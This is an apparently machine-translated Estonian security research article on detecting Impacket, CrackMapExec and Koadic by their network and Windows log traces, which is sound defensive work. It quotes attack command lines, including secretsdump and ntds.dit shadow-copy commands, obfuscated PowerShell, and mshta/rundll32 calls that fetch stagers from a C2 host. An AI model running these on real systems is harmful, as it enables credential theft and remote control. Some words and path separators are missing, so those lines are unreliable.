Iga aastaga kasvab rĂŒnnakute arv ettevĂ”tlussektoris: nĂ€iteks vĂ”rreldes 2016. aastaga, aga 2018. aasta lĂ”ikes â , kui eelneval perioodil. Sealhulgas ka selliseid, kus peamine tööriist on Windowsi operatsioonisĂŒsteem. Aastatel 2017â2018 rĂŒndasid rĂŒhmitused APT Dragonfly, APT28, valitsus- ja sĂ”javĂ€eliike Euroopas, PĂ”hja-Ameerikas ja Saudia Araabias. Ja nad kasutasid selleks kolme tööriista â , ja . Nende lĂ€htekood on avatud ja saadaval GitHubis.
Oluline on mĂ€rkida, et neid tööriistu ei kasutata esmaste tungimisteks, vaid rĂŒnde arendamiseks infrastruktuuris. Kurjategijad kasutavad neid erinevates rĂŒndeetappides, mis jĂ€rgnevad perimeetri ĂŒletamisele. See, muide, on keeruline tuvastada ja sageli ainult tehnoloogiate abil vĂ”i tööriistadega, mis vĂ”imaldavad . Tööriistad pakuvad mitmesuguseid funktsioone â failide edastamisest kuni registriga suhtlemise ja kaugmasinate kĂ€su tĂ€itmiseni. Oleme uurinud neid tööriistu, et mÀÀrata nende vĂ”rgutegevus.
Mida me pidime tegema:
- MĂ”istma, kuidas hĂ€kkeri tööriistakomplekt töötab. Uurima, mida rĂŒndajad vajavad Ă€rakasutamiseks ja millist tehnoloogiat nad saavad kasutada.
- Leida, mis ei pruugi olla tuvastatud esialgsetes rĂŒnnakuetappides. Uurimisetapp vĂ”ib olla vahele jĂ€etud, kuna rĂŒndajana vĂ”ib tegutseda sisemine kurjategija, vĂ”i seetĂ”ttu, et rĂŒndaja kasutab infrastruktuuris avastamata puudust. See loob vĂ”imaluse taastada kogu tema tegevuste ahel ja tekitab soovi avastada edasist liikumist.
- VÀltida vale positiivseid avastamissekette. On oluline meeles pidada, et ainult luureandmete pÔhjal tehtud tegevuste tuvastamisel vÔivad sageli tekkida vead. Tavaliselt on infrastruktuuris piisavalt meetodeid, mis esmapilgul nÀivad olevat seaduslikud, et saada mingit teavet.
Mida need tööriistad rĂŒndajatele annavad? Kui tegemist on Impacketiga, siis saavad kurjategijad suure moodulite raamatukoguga, mida saab kasutada erinevates rĂŒnnaku etappides, mis jĂ€rgivad perimeetri ĂŒletamist. Paljud tööriistad kasutavad Impacketi mooduleid enda sees â nĂ€iteks Metasploit. Sel on olemas dcomexec ja wmiexec kaugkĂ€skude tĂ€itmiseks, secretsdump, et saada mĂ€lust kontosid, mis on lisatud Impacketist. SeetĂ”ttu tagab sellise raamatukogu Ă”ige aktiivsuse tuvastamine ka tuvastamise tuletisi.
CrackMapExec (vĂ”i lihtsalt CME) loojad ei kirjutanud juhuslikult âPowered by Impacketâ. Lisaks on CME-l sisseehitatud funktsionaalsus populaarsete stsenaariumide jaoks: seal on Mimikatz paroolide vĂ”i nende hash'ide hankimiseks, Meterpreteri vĂ”i Empire'i agendi integreerimine kaugkĂ€itmiseks ning Bloodhound on ka kaasas.
Kolmas valitud tööriist on Koadic. See on suhteliselt uus, esitletud rahvusvahelisel hÀkkerite konverentsil DEFCON 25 aastal 2017 ning eristub ebatavalise lÀhenemise poolest: töötab lÀbi HTTP, JavaScripti ja Microsoft Visual Basic Scripti (VBS). Seda lÀhenemist nimetatakse 'living off the land': tööriist kasutab Windowsis sisseehitatud sÔltuvusi ja teeke. Loojad nimetavad seda COM Command & Control vÔi C3.
IMPACKET
Impacket'i funktsionaalsus on vĂ€ga lai, alates AD-sisese luure tegemisest ja andmete kogumisest sisemistelt MS SQL serveritelt kuni tehnikateni, mis aitavad saada kasutajate sisselogimisandmeid: sealhulgas SMB relay rĂŒnnak ja ntds.dit faili hankimine domeeni kontrollerilt, mis sisaldab kasutajate paroolide hashe. Samuti tĂ€idab Impacket kaugelt kĂ€ske nelja erineva meetodi kaudu: lĂ€bi WMI, Windowsi ajakava haldussĂŒsteemi teenuse, DCOM ja SMB, ning selleks vajab see sisselogimisandmeid.
Secretsdump
Vaadakem secretsdump'i. See on moodul, mille sihtmĂ€rkideks vĂ”ivad olla nii kasutajamasinad kui ka domeenikontrollerid. Selle abil on vĂ”imalik saada koopiaid LSA, SAM, SECURITY, NTDS.dit mĂ€lupiirkondadest, seetĂ”ttu vĂ”ib seda nĂ€ha erinevates rĂŒnnaku etappides. Mooduli töö esimene samm on autentimine SMB kaudu, mille jaoks on vajalik kas kasutaja parool vĂ”i selle hash automaatsete Pass the Hash rĂŒnnakute lĂ€biviimiseks. SeejĂ€rel jĂ€rgneb pĂ€ring juurdepÀÀsuks teenuste juhtimise haldurile (SCM) ja registri juurdepÀÀsu saamine winreg-protokolli kaudu, kasutades mida rĂŒndaja saab teada huvipakkuvate harude andmed ja saada tulemusi SMB kaudu.
Joonisel 1 nĂ€eme, kuidas winreg-protokolli kasutamisel toimub registri vĂ”tme juurde pÀÀsemine. Selleks kasutatakse DCERPC kĂ€sku opcode'iga 15 â OpenKey.

Joonis 1. Registri vÔtme avamine winreg-protokolli kaudu
Juhul, kui juurdepÀÀs vĂ”tme kaudu on saadud, salvestatakse vÀÀrtused kĂ€su SaveKey abil opcode 20. Impacket teeb seda vĂ€ga spetsiifiliselt. Ta salvestab vÀÀrtused faili, mille nimi on 8 juhuslikku sĂŒmbolit pluss .tmp. Lisaks edastatakse selle faili edasine vĂ€ljavĂ”te lĂ€bi SMB System32 kataloogist (joonis 2).

Joon. 2. Registeri vÔtme hankimise skeem kaugmasinast
Seega on sarnast tegevust vÔrku vÔimalik tuvastada teatud registriharude pÀringute kaudu protokolli winreg, spetsiifiliste nimede, kÀskude ja nende jÀrjekorra jÀrgi.
Lisaks jĂ€tab see moodul jĂ€lgi Windowsi sĂŒndmuste logisse, tĂ€nu millele on seda lihtne tuvastada. NĂ€iteks kĂ€su tĂ€itmise tulemusena
secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DCnĂ€eme Windows Server 2016 logis jĂ€rgmist olulist sĂŒndmust jĂ€rjekorda:
1. 4624 â eemalt sisselogimine.
2. 5145 â juurdepÀÀsu kontroll eemalolevale teenusele winreg.
3. 5145 â juurdepÀÀsu kontroll faili suhtes System32 kataloogis. Failil on juhuslik nimi, nagu eespool mainitud.
4. 4688 â cmd.exe protsessi loomine, mis kĂ€ivitab vssadmin:
âC:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat5. 4688 â protsessi loomine kĂ€suga:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat6. 4688 â protsessi loomine kĂ€suga:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat7. 4688 â protsessi loomine kĂ€suga:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.batSmbexec
Nagu paljudel post-exploitation tööriistadel, on ka Impacketil mooduleid kaugkÀskude tÀitmiseks. Keskendume smbexecile, mis tagab interaktiivse kÀsuviiba kaugmasinas. Selle mooduli jaoks on samuti vajalik autentimine SMB kaudu, kas parooli vÔi selle rÀsimÀrgi abil. Kujutisel 3 nÀeme selle tööriista kasutamise nÀidet, antud juhul on see kohaliku administraatori konsol.

Kujutis 3. Interaktiivne smbexec konsol
smbexeci töö esimene etapp pÀrast autentimist on SCM avamine kÀsuga OpenSCManagerW (15). PÀring on tÀhelepanuvÀÀrne: selles on vÀli MachineName vÀÀrtusega DUMMY.

Kujutis 4. PĂ€ring Service Control Manageri avamiseks
SeejĂ€rel luuakse teenus kĂ€su CreateServiceW (12) abil. smbexeci puhul nĂ€eme iga kord sama kĂ€su koostamise loogikat. Kujutisel 5 on rohelisega mĂ€rgitud muutumatud kĂ€su parameetrid, kollasega need, mida rĂŒndaja saab muuta. Ei ole raske mĂ€rgata, et tĂ€idetava faili nimi, selle kataloog ja output fail on muudetavad, kuid ĂŒlejÀÀnut on palju keerulisem muuta, rikkumata Impacket mooduli toimimise loogikat.

Kujutis 5. Teenuse loomise pÀring Service Control Manageri kaudu
Smbexec jĂ€tab Windowsi sĂŒndmuste logisse selged jĂ€ljed. Windows Server 2016 sĂŒndmuste logis nĂ€eme interaktiivse kĂ€surea koos ipconfig kĂ€suga jĂ€rgmisi vĂ”tme sĂŒndmusi:
1. 4697 â teenuse seadistamine ohvri masinas:
%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat 2. 4688 â cmd.exe protsessi loomine punktis 1 toodud argumentidega.
3. 5145 â juurdepÀÀsuĂ”iguste kontrollimine failile __output C$ kataloogis.
4. 4697 â teenuse seadistamine ohvri masinas.
%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat 5. 4688 â cmd.exe protsessi loomine punktis 4 toodud argumentidega.
6. 5145 â juurdepÀÀsuĂ”iguste kontrollimine failile __output C$ kataloogis.
Impacket on aluseks tööriistade arendusele rĂŒnnakute jaoks. See toetab peaaegu kĂ”iki protokolle Windowsi infrastruktuuris ja omab seejuures oma eripĂ€ra. Siia kuuluvad konkreetsed winreg pĂ€ringud, SCM API kasutamine iseloomuliku kĂ€su koostamisega, failinimede formaat ja SMB jagamine SYSTEM32.
CRACKMAPEXEC
CME tööriist on mĂ”eldud peamiselt automatiseerima rutiinseid tegevusi, mida rĂŒndaja peab tegema vĂ”rgu sees liikumiseks. See vĂ”imaldab töötada koos tuntud Empire agendi ja Meterpreteriga. CME vĂ”ib kĂ€sklusi varjata, et neid salaja tĂ€ita. Kasutades Bloodhoundi (eraldi tööriist, mida kasutatakse luuramiseks), suudab rĂŒndaja automatiseerida aktiivse domeenihalduri sessiooni otsimise.
Bloodhound
Bloodhound kui iseseisev tööriist vĂ”imaldab teostada edasijĂ”udnud luuret vĂ”rgu sees. See kogub teavet kasutajatest, masinatest, rĂŒhmadest, sessioonidest ja tuleb PowerShelli skripti vĂ”i binaarfailina. Teabe kogumiseks kasutatakse LDAP-i vĂ”i SMB-protokolle. CME integreerimismoodul vĂ”imaldab laadida Bloodhoundi ohvri masinasse, kĂ€ivitada seda ja saada kogutud andmeid pĂ€rast kĂ€ivitamist, automatiseerides sĂŒsteemis tegutsemist ja muutes need vĂ€hem silmatorkavaks. Bloodhoundi graafiline liides esitab kogutud andmed graafidena, vĂ”imaldades leida lĂŒhima tee rĂŒndaja masinast domeenihaldurini.

Joon. 6. Bloodhoundi liides
Ohvri masinaga moduli kaudu mĂ”jutab ĂŒlesande loomine ATSVC ja SMB abil. ATSVC on Windowsi ĂŒlesannete ajastaja liides. CME kasutab selle funktsiooni NetrJobAdd (1) ĂŒlesannete loomiseks vĂ”rgu kaudu. NĂ€ide sellest, mida CME moodul saadab, on kujutatud joonisel 7: see on cmd.exe kĂ€su vĂ€ljakutse ja obfuskeeritud kood argumendina XML-formaadis.

Joonis 7. Ălesande loomine CME kaudu
PĂ€rast seda, kui ĂŒlesanne on tĂ€itmiseks saadetud, kĂ€ivitab sihtmasin ise Bloodhoundi, ning seda saab jĂ€lgida traadita. Moodulile on iseloomulikud LDAP-pĂ€ringud standardsete rĂŒhmade, kĂ”igi masinate ja kasutajate nimekirja, samuti aktiivsete kasutajaseansside teabe saamine SRVSVC NetSessEnum pĂ€ringu abil.

Joonis 8. Aktiivsete seansside nimekirja saamine SMB kaudu
Lisaks kaasneb Bloodhoundi kĂ€ivitamisega sihtmasinas, millel on sisse lĂŒlitatud auditeerimine, sĂŒndmusega ID 4688 (protsessi loomine) ja protsessi nimi âC:WindowsSystem32cmd.exeâ. TĂ€helepanuvÀÀrsed on selle kĂ€surea argumendid:
cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , ⊠, 40,41 )-jOIN'' ) "Enum_avproducts
Moodul enum_avproducts on funktsionaalsuse ja rakenduse poolest vĂ€ga huvitav. WMI vĂ”imaldab WQL pĂ€ringukeelt kasutades hankida Windowsi erinevate objektide andmeid, mida kasutab ka see CME moodul. See genereerib pĂ€ringud AntiSpywareProduct ja AntiĐirusProduct klassidelt, et saada teavet masinas olevate kaitsemeetmete kohta. NĂ”utavate andmete saamiseks moodul loob ĂŒhenduse nimede ruumiga rootSecurityCenter2, seejĂ€rel koostab WQL pĂ€ringu ja saab vastuse. Joonisel 9 on esitatud selliste pĂ€ringute ja vastuste sisu. Meie nĂ€ites leidsime Windows Defenderi.

Joonis 9. enum_avproducts mooduli vÔrguaktiivsus
Sageli vĂ”ib WMI auditi (Trace WMI-Activity) ĂŒritus, milles on leidnud kasulikke andmeid WQL pĂ€ringute kohta, olla vĂ€lja lĂŒlitatud. Kuid kui see on sisse lĂŒlitatud ja enum_avproducts skripti kĂ€ivitatakse, salvestatakse sĂŒndmus ID 11. Selles sisaldub kasutajanimi, kes pĂ€ringu esitas, ning nimi ruumis rootSecurityCenter2.
Iga CME moodulil on oma artefaktid, olgu need siis spetsiifilised WQL pĂ€ringud vĂ”i teatud tĂŒĂŒpi ĂŒlesande loomine ĂŒlesande ajakavaldusega koos obfuskatsiooniga, samuti Bloodhoundâi jaoks iseloomulik aktiivsus LDAP ja SMB-s.
KOADIC
Koadici eripĂ€ra on Windowsi sisseehitatud JavaScripti ja VBScripti tĂ”lkijate kasutamine. Sel mÀÀral jĂ€rgib see trendi living off the land â see tĂ€hendab, et tal pole vĂ€liseid sĂ”ltuvusi ning ta kasutab Windowsi standardseid vahendeid. See on tĂ€ielik Command & Control (CnC) tööriist, kuna pĂ€rast nakatumist installitakse masinasse âimplantaadiâ, mis vĂ”imaldab selle ĂŒle kontrolli. Sellist masinat nimetatakse Koadicis âzombiksâ. Kui ohvril pole piisavalt Ă”igusi, et tĂ€ielikult töötada, siis Koadic suudab neid tĂ”sta, kasutades konto kontrolli ĂŒmbersĂ”idu (UAC bypass) tehnikaid.

Koadici kÀsurealiides
Ohver peab ise algatama suhtluse Command & Control serveriga. Selleks peab ta pöörduma ettevalmistatud URI poole ja saama Koadici pĂ”hikeha ĂŒht ĂŒhe etapi abil. Joonisel 11 on nĂ€idatud nĂ€ide mshta etapi jaoks.

Joonis 11. Sessiooni algatamine CnC-serveriga
WS vastuse kaudu on selge, et tĂ€itmine toimub WScript.Shell kaudu ning muutujad STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE sisaldavad vĂ”tmeinfot praeguse seansi parameetrite kohta. See on esimene pĂ€ring-vastus paar HTTP-ĂŒhenduses CnC-serveriga. Edasi minevad pĂ€ringud on otseselt seotud kutsutud moodulite (implanti) funktsionaalsusega. KĂ”ik Koadici moodulid töötavad ainult aktiivse seansi korral CnC-ga.
Mimikatz
Nii nagu CME töötab Bloodhoundiga, töötab Koadic Mimikatziga eraldi programmina ja selle kÀitamiseks on mitu viisi. Allpool on toodud paar pÀring-vastus Mimikatz implandi laadimiseks.

Joon. 12. Mimikatz edastamine Koadicusse
On mĂ€rgata, kui palju on URI formaat pĂ€ringus muutunud. See sisaldab vÀÀrtust csrf muutujas, mis vastutab valitud mooduli eest. Ărge pöörake tĂ€helepanu selle nimele; me kĂ”ik teame, et CSRF all mĂ”istetakse tavaliselt midagi muud. Vastuseks saadi kĂ”ik sama pĂ”hikeha Koadic, kuhu oli lisatud Mimikatziga seotud kood. See on piisavalt mahukas, seega vaatame vĂ”tmehetki. Meie ees on base64 kodeeritud Mimikatz teek, serialiseeritud .NET klass, mis seda injekteerib, ja argumendid Mimikatz kĂ€ivitamiseks. TĂ€itmise tulemus edastatakse vĂ”rgu kaudu avatud kujul.

Fig. 13. Mimikatz'i tÀitmise tulemus eemalt masinal
Exec_cmd
Koadicis on ka mooduleid, mis suudavad kaugjuhtimisega kÀske tÀita. Siin nÀeme sama URI genereerimise meetodit ja tuttavaid muutujaid sid ja csrf. Exec_cmd mooduli puhul lisatakse kehas kood, mis suudab kÀivitada shell-kÀske. Allpool on nÀidatud selline kood, mis sisaldub CnC-serveri HTTP-vastuses.

Fig. 14. exec_cmd implantaadi kood
GAWTUUGCFI muutujaga, millel on tuttav WS atribuut, on koodide tĂ€itmiseks vajalik. Selle abil kutsub implant shell'i, töötledes kahte koodiharu â shell.exec, tagastades vĂ€ljundvoo andmeid, ja shell.run, ilma tagastamiseta.
Koadic ei ole tĂŒĂŒpiline tööriist, kuid tal on oma artefaktid, mille jĂ€rgi saab seda leida legitiimses liikluses:
- spetsiifiliste HTTP-pÀringute koostamine,
- winHttpRequests API kasutamine,
- WScript.Shell objekti loomine ActiveXObjecti kaudu,
- suur tÀidetav kehamass.
Esialgne ĂŒhendus algatab ststage'i, seetĂ”ttu on vĂ”imalik tuvastada selle aktiivsus Windowsi sĂŒndmuste kaudu. mshta puhul on see sĂŒndmus 4688, mis nĂ€itab protsessi loomist kĂ€ivitamisatribuutidega:
C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6Koadici tĂ€itmise ajal vĂ”ib nĂ€ha ka teisi 4688 sĂŒndmusi atribuutidega, mis iseloomustavad seda suurepĂ€raselt:
rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1JĂ€reldused
Trend, mis kasutatakse Ă€ra olemasolevaid Windows'i tööriistu ja mehhanisme. NĂ€eme, et sellised populaarsed tööriistad nagu Koadic, CrackMapExec ja Impacket, jĂ€rgides seda pĂ”himĂ”tet, satuvad ĂŒha sagedamini APT aruannetesse. Nende tööriistade forkid GitHubis kasvavad samuti, tĂ€iesti uusi on juba umbes tuhat. Trend muutub ĂŒha populaarsemaks oma lihtsuse tĂ”ttu: pahatahtlikud ei vaja kolmandate osapoolte tööriistu, need on juba ohvrite arvutites olemas ja aitavad kaitset ĂŒletada. Oleme keskendunud vĂ”rgu tegevusele: iga eespool kirjeldatud tööriist jĂ€tab oma jĂ€ljed vĂ”rgu liikluses; nende pĂ”hjalik uurimine on vĂ”imaldanud meil Ă”petada meie toodet. neid avastamiseks, mis lĂ”puks aitab uurida kogu kĂŒberintsidendi ahelat, milles nad osalevad.
Autorid:
- Anton Tyurin, ekspertteenuste osakonna juht, PT Expert Security Center, Positive Technologies
- Egor Podmokov, ekspert, PT Expert Security Center, Positive Technologies
Allikas: habr.com
